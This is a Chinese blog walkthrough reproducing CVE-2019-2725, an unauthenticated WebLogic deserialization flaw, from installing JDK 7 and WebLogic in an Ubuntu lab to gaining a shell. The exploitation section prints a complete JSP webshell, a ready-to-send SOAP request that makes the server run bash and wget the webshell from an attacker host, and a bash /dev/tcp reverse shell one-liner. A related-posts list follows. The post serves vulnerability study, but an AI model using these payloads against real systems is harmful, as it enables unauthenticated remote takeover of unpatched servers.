CVE-2019-2725复现(从环境搭建到getshell)
文章目录
- 一、前言
- 二、漏洞描述
- 三、影响版本
- 四、测试环境准备
- 1、Ubuntu
- 2、Windows
- 3、jdk7
- 4、weblogic10.3.6
- 五、环境搭建
- 1、安装jdk7
- (1)将下载好的jdk文件传到ubuntu中
- (2)在/usr/lib目录中创建一个jvm目录,将该jdk文件移动其中
- (3)将jdk-7u80-linux-x64.tar.gz进行解压
- (4)将jdk1.7.0_80目录重命名为jdk
- (5)修改.bashrc配置文件
- (6)reboot重启ubuntu
- (7)查看java版本
- 2、安装weblogic
- (1)移动wls1036_generic.jar
- (2)执行安装命令,具体过程如下
- (2)安装完成后,执行domain域
- (3)配置过程
- (4)启动weblogic
- (5)访问weblogic服务
- (6)主机访问虚拟机
- 六、漏洞验证
- 1、payoad1
- 2、payload2
- 七、漏洞利用
- 1、环境
- (1)有web服务的攻击机或vps
- (2)jsp一句话木马
- 2、使用burp写入jsp木马
- (1)访问http://172.16.20.157:7001/_async/AsyncResponseService并抓包
- (2)将GET改为POST,随后请求包部分除了第一行第二行保留,其他全部替换如下payload
- (3)使用payload上传jsp木马
- (4)访问靶机的1.jsp
- (5)蚁剑连接
- 3、反弹shell
- (1)payload
- (2)利用详情
- 八、漏洞修复
一、前言
这一篇文章是我今天复现CVE-2019-2725时之后总结的一次完整的复现流程(从环境搭建到getshell),算是比较全的复现过程了,供大家参考,如有不足,欢迎指正。
二、漏洞描述
Oracle WebLogic Server反序列化漏洞 ,该远程代码执行漏洞无需身份验证即可远程利用,即无需用户名和密码即可通过网络利用。
三、影响版本
Oracle WebLogic Server,版本 10.3.6.0、12.1.3.0
四、测试环境准备
注:我这里主要介绍linux下weblogic的搭建
1、Ubuntu
我用的ubuntu16,大家随意
2、Windows
我用的windows10,大家随意
3、jdk7
这里建议使用jdk7,我用的是jdk-7u80-linux-x64,当然,不一定非要是7u80,其他也可以
下载地址:https://www.oracle.com/java/technologies/javase/javase7-archive-downloads.html#jdk-7u80-oth-JPR
如果大家无法下载,我传到了百度云,大家可自行去下载,地址:
链接:https://pan.baidu.com/s/1A4o5Z6uU-qymo9kp8oxeGQ
提取码:m71r
4、weblogic10.3.6
这里我使用的是weblogic10.3.6
下载地址:https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
百度云地址:
链接:https://pan.baidu.com/s/1heHPX7ihWrlHzYtUWgKvOA
提取码:tatl
五、环境搭建
ubuntu搭建就不细说了,我们接下来开始搭建weblogic服务
1、安装jdk7
(1)将下载好的jdk文件传到ubuntu中
(2)在/usr/lib目录中创建一个jvm目录,将该jdk文件移动其中
cd /usr/lib/
sudo mkdir jvm
sudo mv /home/n1v1r/桌面/jdk-7u80-linux-x64.tar.gz jvm/
cd jvm/
(3)将jdk-7u80-linux-x64.tar.gz进行解压
sudo tar zxf jdk-7u80-linux-x64.tar.gz
(4)将jdk1.7.0_80目录重命名为jdk
注:重命名随意,只不过需要注意的是.bashrc文件中/usr/lib/jvm/后面的名称也需要跟着改变
(5)修改.bashrc配置文件
sudo vim ~/.bashrc
可能出现的错误:如果无法使用vim,使用sudo apt-get install vim
进行安装
注:有人在使用以上安装命令时也可能会出现如下所示错误
E: 无法获得锁 /var/lib/dpkg/lock - open (11: 资源暂时不可用) E: 无法锁定管理目录(/var/lib/dpkg/),是否有其他进程正占用它?
解决方法,输入如下命令:
sudo rm /var/cache/apt/archives/lock
sudo rm /var/lib/dpkg/lock
打开文件后,我们在内容的末尾追加如下内容:
export JAVA_HOME=/usr/lib/jvm/jdk
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
(6)reboot重启ubuntu
(7)查看java版本
出现如下你安装的指定版本,说明安装成功
2、安装weblogic
注:先完成第一步jdk的安装再进行这一步
(1)移动wls1036_generic.jar
将下载好的wls1036_generic.jar移动到ubuntu的用户目录下,我这里是n1v1r,如下所示
(2)执行安装命令,具体过程如下
我这里使用的是命令行安装,如下所示:
java -jar wls1036_generic.jar -mode=console
注:-mode=console表示使用命令行安装,如果想要使用图形化,使用如下命令即可,步骤是一样的
java -jar wls1036_generic.jar
这里详细介绍一下命令行安装步骤
0x01:
0x02:
0x03:
0x04:
0x05:
0x06:
0x07:
0x08:
0x09:
0x10:出现下图所示表示安装成功
注:其实这里每一步都是下一步也可以
(2)安装完成后,执行domain域
0x01:进入weblogic的安装目录,找到config.sh
例如我这里/home/n1v1r/Oracle/Middleware/wlserver_10.3/common/bin
输入./config.sh,回车
(3)配置过程
(4)启动weblogic
进入domain的安装目录,例如:
/home/nv1r/Oracle/Middleware/user_projects/domains/peak_domain
随后./startWebLogic.sh
注:我这里的n1v1r和peak_domain要根据你们自己的设置进行更改
(5)访问weblogic服务
访问:http://172.16.20.157:7001/console/
注:这里的ip可以是127.0.0.1或localhost
(6)主机访问虚拟机
注:需要将ubuntu的防火墙关闭,且主机能ping通ubuntu,不代表ubuntu防火墙关闭了
#查看防火墙状态
sudo ufw status
#关闭防火墙
sudo ufw disable
#打开防火墙
sudo ufw enable
访问http://172.16.20.157:7001/console
注:如果还是无法访问且无法ping通,可参考这种解决方法:关于Vmware下NAT模式物理机无法ping通虚拟机但是可以上网的解决方法
六、漏洞验证
1、payoad1
_async/AsyncResponseService
如果http://172.16.20.157:7001/_async/AsyncResponseService
返回200则表示漏洞存在,如果返回404则表示漏洞不存在
2、payload2
_async
如果http://172.16.20.157:7001/_async
返回403则表示漏洞存在,如果返回404则表示漏洞不存在
七、漏洞利用
注:利用时ubuntu需要安装wget命令
sudo apt-get install wget
1、环境
(1)有web服务的攻击机或vps
我这里使用本地环境,在本地使用phpstudy
(2)jsp一句话木马
jsp.txt源码,其中密码是peak,可自己修改
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("peak");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>
2、使用burp写入jsp木马
(1)访问http://172.16.20.157:7001/_async/AsyncResponseService并抓包
(2)将GET改为POST,随后请求包部分除了第一行第二行保留,其他全部替换如下payload
POST /_async/AsyncResponseService HTTP/1.1
Host: 172.16.20.157:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 841
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://172.16.20.1/jsp.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls9_async_response/8tpkys/war/1.jsp</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>
注意:如果你不知道上传到目标哪个目录中,可以使用如下payload,进行查看
/_async/AsyncResponseService?info
如下所示:
(3)使用payload上传jsp木马
(4)访问靶机的1.jsp
http://172.16.20.157:7001/_async/1.jsp
访问成功即可使用蚁剑进行连接
(5)蚁剑连接
3、反弹shell
(1)payload
bash -i >& /dev/tcp/target ip/target port 0>&1
这里>&需要转换,否则无法利用
例:
bash -i >& /dev/tcp/172.16.20.132/9999 0>&1
(2)利用详情
注:如果对反弹shell不太了解的可以参考:nc——制作后门连接与反弹shell连接的使用
八、漏洞修复
官方补丁:https://www.oracle.com/security-alerts/alert-cve-2019-2725.html
注:
JDK搭建参考
weblogic搭建参考
CVE-2019-2725复现(从环境搭建到getshell)相关推荐
- ThinkAdmin列目录/任意文件读取(CVE-2020-25540 )漏洞复现及环境搭建
ThinkAdmin列目录/任意文件读取(CVE-2020-25540 )漏洞复现 漏洞介绍 ThinkAdmin 是基于 ThinkPHP后台开发框架,在ThinkAdmin v6版本存在路径遍历漏 ...
- 【PMAC学习笔记——第0篇】初识PMAC运动控制卡以及 Microsoft Visual C++ 2019,PeWin32 PRO2环境搭建
一.PMAC概述 PMAC ( Programmable Multi-Axis Controller) 可编程多轴运动控制器,是美国Delta Tau Data System 公司推出的PC 机平台上 ...
- VS 2019 + CUDA 10 开发环境搭建
一.基本信息 OS:Windows10 1809 17763.437 VS:2019 Enterprise 16.0.1(2019.4 正式版) CUDA:Cuda_10.1.105_418.96_w ...
- mysql+server+80_Windows Server 2019 IIS10.0+PHP(FastCGI)+MySQL环境搭建教程
准备篇 一.环境说明: 操作系统:Windows Server 2019 PHP版本:php 7.3.11 MySQL版本:MySQL 8.0.18.0 二.相关软件下载: 1.PHP下载地址: ht ...
- php7 iis10 mysql_Windows Server 2019 IIS10.0+PHP(FastCGI)+MySQL环境搭建教程
准备篇 一.环境说明: 操作系统:Windows Server 2019 PHP版本:php 7.3.11 MySQL版本:MySQL 8.0.18.0 二.相关软件下载: 1.PHP下载地址: ht ...
- Visual Studio 2019 下Python的开发环境搭建
Python的开发环境有各种各样的,在Windows下可以通过各种IDE(I Integrated Development Environment)来进行开发,比如Pycharm,Spyder, Th ...
- (环境搭建+复现)CVE-2020-1472 NetLogon 域内提权漏洞
0x00 简介 Netlogon组件是Windows上一项重要的功能组件,用于用户和机器在域内网络上的认证,以及复制数据库以进行域控备份,还用于维护域成员与域之间.域与域控之间.域DC与跨域DC之间 ...
- Revit二次开发环境搭建(Revit 2019+Visual Studio 2017)
Revit二次开发环境搭建(Revit 2019+Visual Studio 2017) 安装 Revit 2019 Visual Studio 2017 Revit SDK 2019 配置Addin ...
- iis10 php,Windows Server 2019 IIS10.0+PHP(FastCGI)+MySQL环境搭建教程
准备篇 一.环境说明: 操作系统:Windows Server 2019 PHP版本:php 7.3.11 MySQL版本:MySQL 8.0.18.0 二.相关软件下载: 1.PHP下载地址: ht ...
最新文章
- OpenCV3.3中支持向量机(Support Vector Machines, SVM)实现简介及使用
- VS2010-MFC(对话框:一般属性页对话框的创建及显示)
- Angular 使用 Injector API 人工获取依赖注入的实例
- word插入参考文献、目录及公式对齐方法
- 【算法】蛮力法/穷举法/枚举法 的基本问题分析
- mysql ddl 锁_MySQL Online DDL导致全局锁表案例分析
- 串行舵机/数字舵机的替代方案,低成本的舵机级联方案。数字舵机的驱动芯片。普通舵机改数字舵机
- linux 锐捷客户端 脚本,基于802.1x的锐捷linux客户端
- 单片机c语言论文,基于51单片机的C语言程序设计论文.doc
- Hackintosh 黑苹果安装 基于Thinkpad x201(i5-560M,集显) Legacy Boot Mode安装macOS 10.14 Mojave
- BZOJ_2393_Cirno的完美算数教室BZOJ_1853_[Scoi2010]幸运数字 _深搜+容斥原理
- 种群遗传学的多态性衡量参数
- 【商业数据分析】—— 用户价值RFM模型详解(小仙女搬运工)
- gt 630 linux驱动下载,Ubuntu 13.04 双显卡安装NVIDIA GT 630M驱动
- python统计单词个数算法_python 统计单词个数和频次
- 程序逸的Java项目之旅-图书管理系统之数据库设计(2-完)
- 2020年全国大学生电子设计大赛赛后总结
- 耳机接口规则_3.5mm耳机接口和2.5mm耳机接口有什么区别?
- 非常道 2010-4-5日
- C语言88案例,经典案例带你绝对入门C编程!
热门文章
- Vue学习(MVVM、入门练习)-学习笔记
- 《剑指offer》连续子数组的最大和
- 【Nutch2.2.1基础教程之2.2】集成Nutch/Hbase/Solr构建搜索引擎之二:内容分析
- 【Heritrix基础教程之1】在Eclipse中配置Heritrix
- 常用的位操作:置位、清零与测试
- Elasticsearch5.X Mapping万能模板
- 1.	变量提升 2.	条件语句 3.	循环语句 弹出框的三种形式 If条件的种类...
- sqlplus 格式化一例
- 洛谷P1082 同余方程 数论
- python json模块 超级详解